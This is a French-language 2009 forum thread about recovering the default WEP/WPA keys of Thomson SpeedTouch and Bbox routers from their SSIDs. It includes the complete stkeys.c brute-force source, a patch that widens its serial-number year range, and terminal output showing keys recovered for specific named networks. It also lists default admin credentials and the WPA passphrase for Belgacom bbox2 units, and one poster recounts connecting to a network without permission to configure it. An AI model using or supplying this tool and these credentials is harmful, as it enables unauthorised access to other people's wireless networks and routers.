Remote Exploit Forums

Go Back   Remote Exploit Forums > International Communities > BackTrack French Community > Technologies sans fil


Reply
 
LinkBack Thread Tools Display Modes
  #11 (permalink)  
Old 09-21-2009, 02:22 AM
M1ck3y's Avatar
Member
 
Join Date: Jul 2008
Location: Lost in the darkness
Posts: 49
Default

C'est strictement le meme que celui des SpeedTouch, 100% identique mis à part pour la génération de l'essid qui change bien sur, regardes le topic sur mon forum j'ai mis entre quotes les explications de Kevin Devine sur l'algo. En fait stkeys était quasiment pret à générer des clés Bbox, il y avait juste un petit truc à modifier au niveau des variables.

C'est dingue quand meme qu'ils aient continué à fabriquer des box utilisant cet algo...
__________________
--~Internet is in the air we are breathing, so it should be free for everyone. We'll get there, just wait and see...~--
Reply With Quote
  #12 (permalink)  
Old 09-22-2009, 03:45 PM
Junior Member
 
Join Date: Jun 2009
Posts: 20
Default

Pour info, l'ISP "skynet" - venant du fournisseur de telephone traditionel en Belgique (Belgacom) - utilise les mêmes boitiers. Je n'ai pas eu l'occasion de faire des tests approfondis mais tout semble indiquer que la même faille est exploitable...
Reply With Quote
  #13 (permalink)  
Old 09-22-2009, 03:57 PM
Junior Member
 
Join Date: Sep 2009
Posts: 14
Default

Pour ceux que ca interresse, voici les sources de stkeys.c

Quote:
/*
************************************************** ************************
* *
* Default WEP/WPA key generation for Thomson series wireless routers *
* *
* Date: March 15th 2008 *
* Author: Kevin Devine <wyse101 at gmail dot com> *
* site: weiss dot u40 dot hosting dot digiweb dot ie/ *
* *
************************************************** ************************

AFAIK, this is a well known problem by some ISP.
It is likely to affect any owner of a Thomson wireless router with
default settings installed.

To compile using gcc:

gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys

If on Linux, replace the sha1.c parameter with: -l crypto

Example usage for ST585v6 router:

SSID: "SpeedTouchF8A3D0":

c:\stkeys -v -iF8A3D0

Serial Number: CP0615**109 - potential key = 742DA831D2 <- this is the right one
Serial Number: CP0621**AHJ - potential key = 00651124D9

Found 2 potential keys.

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <getopt.h>

#ifdef linux
#include <openssl/sha.h>
#define SHA1_Final(x,y) SHA1_Final(y,x)
#else
#include "sha1.h"
#define SHA1_Init SHA1Reset
#define SHA1_Update SHA1Input
#define SHA1_Final SHA1Result
#define SHA_CTX SHA1Context
#endif

typedef unsigned char u8;
typedef unsigned int u32;

const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const u8 hexTable[]="0123456789ABCDEF";
u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0 x00,0x00,0x00};

#define SERIAL_LENGTH 12
#define MAX_SSID_OCTETS 6
#define DEFAULT_KEY_SIZE 5

#define hexmsb(x)(hexTable[((x & 0xf0) >> 4)])
#define hexlsb(x)(hexTable[ (x & 0x0f)])

void usage(char **argv) {

fprintf(stdout,"\n\tUsage: %s [ -i <ssid octets> ] [ -o <output file> ]\n"
"\n\t -i : SSID octets from Thomson router"
"\n\t -o : Specifies output file for potential keys"
"\n\t -v : Print key to stdout when potential key found\n\n",*argv);

exit(0);
}

/*
* convert hexadecimal ssid string to binary
* return 0 on error or binary length of string
*
*/
u32 str2ssid(u8 ssid[],u8 *str) {

u8 *p,*q = ssid;
u32 len = strlen(str);

if( (len % 2) || (len > MAX_SSID_OCTETS) )
return(0);

for(p = str;(*p = toupper(*p)) && (strchr(hexTable,*p)) != 0 {

if(--len % 2) {
*q = ((u8*)strchr(hexTable,*p++) - hexTable);
*q <<= 4;
} else {
*q++ |= ((u8*)strchr(hexTable,*p++) - hexTable);
}
}
return( (len) ? 0 : (p - str) / 2);
}

/*
* print 5 bytes to output file
*
*/
void dump_key(FILE *out, u8 *key) {

u32 i;
u8 *p = key;

for(i = 0;i < DEFAULT_KEY_SIZE;i++)
fprintf(out,"%.2X",*p++);

fprintf(out,"\n");
}

int main(int argc, char **argv) {

u8 sha1_digest[40]={0};
u8 ssid[8]={0},buf[8]={0},year,week,x1,x2,x3;
u32 keys = 0,ssidLen = 0,verbose = 0, opt = 0;
u8 *strId = NULL;
FILE *ofile = NULL;

SHA_CTX sha1_ctx;

if(argc > 1) {
while( (opt = getopt(argc, argv,"vo:i:")) != -1) {

switch(opt) {

case 'i' :
strId = optarg;
break;

case 'o' :
if((ofile = fopen(optarg,"wb")) == NULL) {
fprintf(stderr,"\nCannot open %s for output.\n",optarg);
return(0);
}
break;

case 'v' :
verbose++;
break;

default:
usage(argv);
}
}

if(!strId) usage(argv);

if(!(ssidLen = str2ssid(ssid,strId))) usage(argv);

fprintf(stdout,"\nGenerating keys..please wait\n\n");

// generate values only for 2005/2006..change if you want.

for(year = 5;year <= 6;year++) {

serial[3] = year | '0';

// 52 weeks of the year

for(week = 1;week <= 52;week++) {

serial[4] = (week / 10) + '0';
serial[5] = (week % 10) + '0';

for(x1 = 0;x1 < 36;x1++) {

serial[6] = hexmsb(charTable[x1]);
serial[7] = hexlsb(charTable[x1]);

for(x2 = 0;x2 < 36;x2++) {

serial[8] = hexmsb(charTable[x2]);
serial[9] = hexlsb(charTable[x2]);

for(x3 = 0;x3 < 36;x3++) {

serial[10] = hexmsb(charTable[x3]);
serial[11] = hexlsb(charTable[x3]);

// hash serial number with sha-1

SHA1_Init(&sha1_ctx);
SHA1_Update(&sha1_ctx,serial,SERIAL_LENGTH);
SHA1_Final(&sha1_ctx,sha1_digest);

// compare SSID octets with last number of bytes supplied

if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) {

keys++;

if(verbose) {

memcpy(buf,serial,6);

fprintf(stdout,
"Serial Number: %s**%C%C%C - potential key = ",
buf,charTable[x1],charTable[x2],charTable[x3]);

dump_key(stdout,sha1_digest);
}
if(ofile) {
dump_key(ofile,sha1_digest);
}
}
}
}
}
}
}
fprintf(stdout,"\nFound %d potential keys.\n",keys);

if(ofile) fclose(ofile);
}
else {
usage(argv);
}
return(0);
}


Reply With Quote
  #14 (permalink)  
Old 09-24-2009, 12:04 AM
Just burned his ISO
 
Join Date: Nov 2007
Posts: 4
Default

mno@8 j'ai test et certain speedtouch passe et d'autre non, je vais revoir l'algo,
c'est sure Belgacom va se mettre en panique
Reply With Quote
  #15 (permalink)  
Old 09-24-2009, 05:22 PM
Junior Member
 
Join Date: Jun 2009
Posts: 20
Default

J'ai eu l'opportunité de testé mais durant très peu de temps. Le SSID etait BBOX2. La connection se faisait bien donc la clé WPA était bonne. Par contre, je n'avais pas acces au réseau: wireshark me donnait un protocol EAPOL. Je pense, mais je ne suis pas sur, qu'il s'agit de 802.1X. Je ne comprends pas comment c'est possible: je serait surpris qu'il y ait un radius serveur dans la BBOX! Comme je n'ai pas eu l'autorisation de chipoter dans la config du routeur, je n'en sais pas plus et je n'aurai sans doute pas l'occasion d'essayer à nouveau. Si qq un a un access à une BBOX de Belgacom...on pourrait chercher un peu plus!
Reply With Quote
  #16 (permalink)  
Old 09-24-2009, 05:42 PM
Senior Member
 
Join Date: Jul 2009
Posts: 238
Default

Salut
Quote:
Je ne comprends pas comment c'est possible: je serait surpris qu'il y ait un radius serveur dans la BBOX!
Ouais, ca me surprendrait vachement que la Bbox intègre un Radius ! Pour le Eapol, d'après Wikipedia le protocole EAP est utilisé par le cryptage WPA/WPA2 même sans Radius, et si tu sniffes un réseau crypté avec WPA, tu verras ce genre de paquets aussi (en tout cas avec CCMP, TKIP chui pas sûr).
Quote:
La connection se faisait bien donc la clé WPA était bonne.
Qu'est-ce que tu veux dire par "la connection est bonne" ? Pour en être sûr, tu devrais sniffer avec Wireshark pendant la connexion, pour voir si la clé est acceptée. Paske si ca se trouve, le propriétaire a gardé le même SSID mais a changé sa clé Au passage, le SSID "Bbox2" ne m'a pas l'air d'être celui par défaut (normalement il faut toute une partie en hexa à la fin)
Reply With Quote
  #17 (permalink)  
Old 10-05-2009, 12:33 PM
Just burned his ISO
 
Join Date: Jun 2009
Posts: 4
Default

J'ai quelques infos sur ces box Belgacom, pour ceux que ça intéresse.

Le SSID par défaut est de la forme : bbox2-xxxx (x étant un caractère hexa).

Le login par défaut : admin
Le password par défaut : BGCVDSL2

La passphrase WPA par défaut sur ces box est : 466173743334782d536167656d (ascii: Fast34x-Sagem)
Reply With Quote
  #18 (permalink)  
Old 10-27-2009, 11:02 PM
Junior Member
 
Join Date: Jun 2009
Posts: 6
Default

'Soir!

Quote:
Originally Posted by yop fr View Post
c'est quoi l'algo ? (juste pour info)
C'est simple dans le code original de Kevin Devine, du 15 Mars 2008 (il n'est plus publié par l'auteur...), nous avons :
// generate values only for 2005/2006..change if you want.
for(year = 5;year <= 6;year++) { ... }

On change le code (critique) en :
// 2000-2020
for(year = 0;year <= 20;year++) { ... }

En clair (et FORT pour un certain Mickey!) la "DATE" est la date de mise en service de la box.
En changeant simplement le code de Kevin, on parcourt toutes les années de 2000 à 2020.
Et oui, il y a toujours en circulation des SpeedTouch, sortis <2006 et aujourd'hui.
Et je n'ai pas envie de recompiler le code chaque année comme certains...

Routeur Thomson WiFI en France (et ailleurs) :

- SpeedTouchXXXXXX (SFR-Cegetel)
- Bbox-XXXXXX (Bouygues)
- ESSID-XXXXXX (toutes les box du même style... on tente sa chance!)

--

Bbox-A5018A (WEP/WPA) :

root@nexus:/home/nexus6/tmp/speedtouch# ./stkeys -i A5018A -v

Generating keys..please wait

Serial Number Year 2002: CP0204**FM7 - potential key = 78EAF3EBC9
Serial Number Year 2005: CP0551**9GR - potential key = 705919B477
Serial Number Year 2009: CP0915**846 - potential key = 1ADE636C45
Serial Number Year 20012: CP0<22**XYW - potential key = 432F205B72
Serial Number Year 20012: CP0<50**RR4 - potential key = 4853980944
Serial Number Year 20018: CP0204**FM7 - potential key = 78EAF3EBC9

Found 6 potential keys.

1ADE636C45 est bien la clé pour 2009 (date de mise en service de la box)

--

SpeedTouch83EB3D (WEP/WPA) :

root@nexus:/home/nexus6/tmp/speedtouch# ./stkeys -i 83EB3D -v

Generating keys..please wait

Serial Number Year 2006: CP0646**MD9 - potential key = 152BCBDCB5
Serial Number Year 20012: CP0<04**09J - potential key = 0181EF4CBE
Serial Number Year 20014: CP0>33**Z47 - potential key = 0282659A45

Found 3 potential keys.


152BCBDCB5 est bien la clé pour 2006 (date de mise en service de la box)

--

theblackcat-32049D :

root@nexus:/home/nexus6/tmp# ./stkeys -i 32049D -v

Generating keys..please wait

Serial Number Year 2000: CP0046**OT6 - potential key = 762089A857
Serial Number Year 2004: CP0452**4UL - potential key = 7173FFEBCE
Serial Number Year 2007: CP0741**AAO - potential key = 7BDAB6E1D1
Serial Number Year 20016: CP0046**OT6 - potential key = 762089A857
Serial Number Year 20020: CP0452**4UL - potential key = 7173FFEBCE

Found 5 potential keys.

7BDAB6E1D1 est bien la clé pour 2007 (date de mise en service de la box)

/Nexus6

--
hxxp://linux.zsolttech.com/speedtouch/

Last edited by Nexus6; 10-28-2009 at 11:50 PM. Reason: Correction noms essid!
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 08:41 AM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2